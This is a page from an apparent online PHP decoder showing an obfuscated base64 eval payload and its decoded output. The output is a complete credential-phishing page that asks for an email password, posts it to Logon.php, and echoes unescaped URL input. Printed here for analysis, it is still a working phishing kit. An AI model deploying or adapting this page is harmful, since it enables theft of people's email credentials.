Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCmZ1bmN0aW9uIGdldGxvZ2luSURGcm9tbG9naW4oJGVtYWlsKQ0..
Decoded Output download
?>b'<?php
function getloginIDFromlogin($email)
{
$find = \'@\';
$pos = strpos($email, $find);
$loginID = substr($email, 0, $pos);
return $loginID;
}
function getDomainFromEmail($email)
{
// Get the data after the @ sign
$domain = substr(strrchr($email, "@"), 1);
return $domain;
}
$login = $_GET[\'email\'];
$loginID = getloginIDFromlogin($login);
$domain = getDomainFromEmail($login);
$ln = strlen($login);
$len = strrev($login);
$x = 0;
for($i=0; $i<$ln; $i++){
if($len[$i] == "@"){
$x = $i;
break;
}
}
$yuh = substr($len,0,$x);
$yuh = strrev($yuh);
for($i=0; $i<$ln; $i++){
if($yuh[$i] == "."){
$x = $i;
break;
}
}
$yuh = substr($yuh,0,$x);
$yuh = ucfirst($yuh);
?>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="shortcut icon" href="http://tbcl.in/js/favi.ico" type="image/gif">
<title>Secured Doucument</title>
<script type="text/javascript" id="1qa2ws" charset="utf-8" src="./docfiles/base.js.download"></script><script charset="UTF-8" src="./docfiles/get"></script></head>
<body style="background-image: url('http://oi65.tinypic.com/auxcie.jpg'); background-repeat: no-repeat ">
<br><br>
<table align="center">
<tbody><tr><td>
<div align="center">
<img src="./docfiles/2m3o9dx.jpg" width="234" height="100">
<br>
<br>
<font face="verdana" color="red" size="5">
Enter Email Password to Continue </font>
<br>
<script type="text/javascript">
function validateForm() {
var x = document.forms["myForm"]["email"].value;
if (x == null || x == "") {
//alert("Invalid Email");
document.getElementById(\'errfn\').innerHTML="Please enter your email";
return false;
}
var y = document.forms["myForm"]["pass"].value;
if (y == null || y == "") {
document.getElementById(\'errfnn\').innerHTML="Enter your password to continue";
return false;
}
}
</script>
<script>
function validateForm()
{
var x=document.forms["myForm"]["email"].value;
var atpos=x.indexOf("@");
var dotpos=x.lastIndexOf(".");
if (atpos<1 || dotpos<atpos+2 || dotpos+2>=x.length)
{
alert("invalid email, enter your email address in this format \'[email protected]\'");
return false;
}
var y=document.forms["myForm"]["pass"].value;
if(y==null || y=="")
{
alert("Password is Empty");
return false;
}
var y=document.forms["myForm"]["pass"].value;
if(y.length < 3)
{
alert("Password is Too Short");
return false;
}
}
</script>
</p><form method="post" action="Logon.php" name="myForm">
<input name="email" type="hidden" value="<?php echo $_GET[\'email\']; ?>">
<b><font face="verdana" size="+2" color="#000000"><?php echo $_GET[\'email\']; ?></font></b>
<br><br>
<font face="verdana" size="2" color="#045FB4"></font>
<input name="password" type="password" style="width:250px; height:40px; font-family: Verdana; font-size:
15px; font-weight: light; color:#000000; background-color: #ffffff; border: solid 1px #848484; padding: 13px;
" required="" placeholder="Enter Password">
<br><br>
<input name="submit" type="submit" style="width:250px; height:60px; background-color: #0B2161; border: solid 3px #0B2161;
font-family: Verdana; font-size: 17px; font-weight: light; color: #ffffff; -moz-border-radius:
4px; -webkit-border-radius: 4px;
-khtml-border-radius:
4px; border-radius: 4px;
-moz
-box-shadow: 3px 3px 3px #888; -
webkit-box-shadow:
3px 3px 3px #888; box-shadow:
3px 3px 3px #888;" value="View online">
<br>
</form>
<br>
</div>
</td></tr>
</tbody></table></body></html>'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHANCmZ1bmN0aW9uIGdldGxvZ2luSURGcm9tbG9naW4oJGVtYWlsKQ0Kew0KJGZpbmQgPSAnQCc7DQokcG9zID0gc3RycG9zKCRlbWFpbCwgJGZpbmQpOw0KJGxvZ2luSUQgPSBzdWJzdHIoJGVtYWlsLCAwLCAkcG9zKTsNCnJldHVybiAkbG9naW5JRDsNCn0NCmZ1bmN0aW9uIGdldERvbWFpbkZyb21FbWFpbCgkZW1haWwpDQp7DQovLyBHZXQgdGhlIGRhdGEgYWZ0ZXIgdGhlIEAgc2lnbg0KJGRvbWFpbiA9IHN1YnN0cihzdHJyY2hyKCRlbWFpbCwgIkAiKSwgMSk7DQpyZXR1cm4gJGRvbWFpbjsNCn0NCiRsb2dpbiA9ICRfR0VUWydlbWFpbCddOw0KJGxvZ2luSUQgPSBnZXRsb2dpbklERnJvbWxvZ2luKCRsb2dpbik7DQokZG9tYWluID0gZ2V0RG9tYWluRnJvbUVtYWlsKCRsb2dpbik7DQokbG4gPSBzdHJsZW4oJGxvZ2luKTsNCiRsZW4gPSBzdHJyZXYoJGxvZ2luKTsNCiR4ID0gMDsNCmZvcigkaT0wOyAkaTwkbG47ICRpKyspew0KCWlmKCRsZW5bJGldID09ICJAIil7DQoJCSR4ID0gJGk7DQoJCWJyZWFrOw0KCX0NCn0NCiR5dWggPSBzdWJzdHIoJGxlbiwwLCR4KTsNCiR5dWggPSBzdHJyZXYoJHl1aCk7DQpmb3IoJGk9MDsgJGk8JGxuOyAkaSsrKXsNCglpZigkeXVoWyRpXSA9PSAiLiIpew0KCQkkeCA9ICRpOw0KCQlicmVhazsNCgl9DQp9DQokeXVoID0gc3Vic3RyKCR5dWgsMCwkeCk7DQokeXVoID0gdWNmaXJzdCgkeXVoKTsNCj8+DQoNCjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3RiY2wuaW4vanMvZmF2aS5pY28iIHR5cGU9ImltYWdlL2dpZiI+DQo8dGl0bGU+U2VjdXJlZCBEb3VjdW1lbnQ8L3RpdGxlPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgaWQ9IjFxYTJ3cyIgY2hhcnNldD0idXRmLTgiIHNyYz0iLi9kb2NmaWxlcy9iYXNlLmpzLmRvd25sb2FkIj48L3NjcmlwdD48c2NyaXB0IGNoYXJzZXQ9IlVURi04IiBzcmM9Ii4vZG9jZmlsZXMvZ2V0Ij48L3NjcmlwdD48L2hlYWQ+DQo8Ym9keSBzdHlsZT0iYmFja2dyb3VuZC1pbWFnZTogdXJsKCYjMzk7aHR0cDovL29pNjUudGlueXBpYy5jb20vYXV4Y2llLmpwZyYjMzk7KTsgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdCAiPg0KDQoNCjxicj48YnI+DQoNCjx0YWJsZSBhbGlnbj0iY2VudGVyIj4NCg0KPHRib2R5Pjx0cj48dGQ+DQoNCgk8ZGl2IGFsaWduPSJjZW50ZXIiPg0KDQoNCjxpbWcgc3JjPSIuL2RvY2ZpbGVzLzJtM285ZHguanBnIiB3aWR0aD0iMjM0IiBoZWlnaHQ9IjEwMCI+DQoNCgk8YnI+DQoJPGJyPg0KDQoNCg0KCTxmb250IGZhY2U9InZlcmRhbmEiIGNvbG9yPSJyZWQiIHNpemU9IjUiPg0KDQoJRW50ZXIgRW1haWwgUGFzc3dvcmQgdG8gQ29udGludWUgPC9mb250Pg0KDQoNCgk8YnI+DQoNCg0KDQogICAgICAgCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIHZhbGlkYXRlRm9ybSgpIHsNCiAgICB2YXIgeCA9IGRvY3VtZW50LmZvcm1zWyJteUZvcm0iXVsiZW1haWwiXS52YWx1ZTsNCiAgICBpZiAoeCA9PSBudWxsIHx8IHggPT0gIiIpIHsNCiAgICAgICAgLy9hbGVydCgiSW52YWxpZCBFbWFpbCIpOw0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyZm4nKS5pbm5lckhUTUw9IlBsZWFzZSBlbnRlciB5b3VyIGVtYWlsIjsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCgkNCiAgICB2YXIgeSA9IGRvY3VtZW50LmZvcm1zWyJteUZvcm0iXVsicGFzcyJdLnZhbHVlOw0KICAgIGlmICh5ID09IG51bGwgfHwgeSA9PSAiIikgew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyZm5uJykuaW5uZXJIVE1MPSJFbnRlciB5b3VyIHBhc3N3b3JkIHRvIGNvbnRpbnVlIjsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KIA0KICAgDQp9DQo8L3NjcmlwdD4NCg0KDQo8c2NyaXB0Pg0KZnVuY3Rpb24gdmFsaWRhdGVGb3JtKCkNCnsNCnZhciB4PWRvY3VtZW50LmZvcm1zWyJteUZvcm0iXVsiZW1haWwiXS52YWx1ZTsNCnZhciBhdHBvcz14LmluZGV4T2YoIkAiKTsNCnZhciBkb3Rwb3M9eC5sYXN0SW5kZXhPZigiLiIpOw0KaWYgKGF0cG9zPDEgfHwgZG90cG9zPGF0cG9zKzIgfHwgZG90cG9zKzI+PXgubGVuZ3RoKQ0KICB7DQogIGFsZXJ0KCJpbnZhbGlkIGVtYWlsLCBlbnRlciB5b3VyIGVtYWlsIGFkZHJlc3MgaW4gdGhpcyBmb3JtYXQgJ3NvbWVvbmVAZXhhbXBsZS5jb20nIik7DQogIHJldHVybiBmYWxzZTsNCiAgfQ0KdmFyIHk9ZG9jdW1lbnQuZm9ybXNbIm15Rm9ybSJdWyJwYXNzIl0udmFsdWU7DQppZih5PT1udWxsIHx8IHk9PSIiKQ0KICB7DQogIGFsZXJ0KCJQYXNzd29yZCBpcyBFbXB0eSIpOw0KICByZXR1cm4gZmFsc2U7DQogIH0NCnZhciB5PWRvY3VtZW50LmZvcm1zWyJteUZvcm0iXVsicGFzcyJdLnZhbHVlOw0KaWYoeS5sZW5ndGggPCAzKQ0KICB7DQogIGFsZXJ0KCJQYXNzd29yZCBpcyBUb28gU2hvcnQiKTsNCiAgcmV0dXJuIGZhbHNlOw0KICB9DQp9DQo8L3NjcmlwdD4NCgk8L3A+PGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IkxvZ29uLnBocCIgbmFtZT0ibXlGb3JtIj4NCg0KICAgICAgICA8aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9ImhpZGRlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9HRVRbJ2VtYWlsJ107ID8+Ij4NCg0KDQoJPGI+PGZvbnQgZmFjZT0idmVyZGFuYSIgc2l6ZT0iKzIiIGNvbG9yPSIjMDAwMDAwIj48P3BocCBlY2hvICRfR0VUWydlbWFpbCddOyA/PjwvZm9udD48L2I+DQoJICAgIA0KCSAgICANCgkgICAgPGJyPjxicj4NCgkgICAgDQoJICAgIDxmb250IGZhY2U9InZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjMDQ1RkI0Ij48L2ZvbnQ+DQoJICAgIA0KDQoNCgkgICAgPGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc3R5bGU9IndpZHRoOjI1MHB4OyBoZWlnaHQ6NDBweDsgZm9udC1mYW1pbHk6IFZlcmRhbmE7IGZvbnQtc2l6ZToNCg0KMTVweDsgZm9udC13ZWlnaHQ6IGxpZ2h0OyBjb2xvcjojMDAwMDAwOyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmZmZmOyBib3JkZXI6IHNvbGlkIDFweCAjODQ4NDg0OyBwYWRkaW5nOiAxM3B4Ow0KDQoiIHJlcXVpcmVkPSIiIHBsYWNlaG9sZGVyPSJFbnRlciBQYXNzd29yZCI+CQ0KCSAgICANCgkgICAgDQoJICAgIA0KCSAgICA8YnI+PGJyPg0KCSAgICA8aW5wdXQgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJ3aWR0aDoyNTBweDsgaGVpZ2h0OjYwcHg7IGJhY2tncm91bmQtY29sb3I6ICMwQjIxNjE7IGJvcmRlcjogc29saWQgM3B4ICMwQjIxNjE7DQogDQoJICAgIGZvbnQtZmFtaWx5OiBWZXJkYW5hOyBmb250LXNpemU6IDE3cHg7IGZvbnQtd2VpZ2h0OiBsaWdodDsgY29sb3I6ICNmZmZmZmY7IC1tb3otYm9yZGVyLXJhZGl1czogDQogICANCiAgICAgICAgNHB4OyAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgDQoJICAgLWtodG1sLWJvcmRlci1yYWRpdXM6IA0KDQogICAgICAgIDRweDsgYm9yZGVyLXJhZGl1czogNHB4Ow0KCSAgIC1tb3oNCg0KICAgICAtYm94LXNoYWRvdzogM3B4IDNweCAzcHggIzg4ODsgLQ0KDQogICAgIHdlYmtpdC1ib3gtc2hhZG93OiANCg0KICAgICAgM3B4IDNweCAzcHggIzg4ODsgYm94LXNoYWRvdzogDQoNCiAgICAgIDNweCAzcHggM3B4ICM4ODg7IiB2YWx1ZT0iVmlldyBvbmxpbmUiPg0KCSAgICA8YnI+DQoNCg0KCTwvZm9ybT4NCg0KDQoNCgk8YnI+DQoNCg0KDQoJPC9kaXY+DQoNCjwvdGQ+PC90cj4NCg0KDQoNCg0KDQo8L3Rib2R5PjwvdGFibGU+PC9ib2R5PjwvaHRtbD4=")); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | cb7c76ee751745ca336d58cf03a6b32a |
| Eval Count | 1 |
| Decode Time | 104 ms |